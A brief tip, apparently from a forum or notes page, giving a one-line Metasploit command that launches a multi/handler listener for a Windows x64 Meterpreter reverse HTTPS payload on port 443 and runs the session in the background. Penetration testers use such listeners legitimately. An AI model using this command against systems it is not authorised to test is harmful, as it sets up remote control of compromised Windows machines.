You can run msfconsole without any hassle and just one liner!
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.1.1; set LPORT 443; run"
Run meterpreter session in background mode.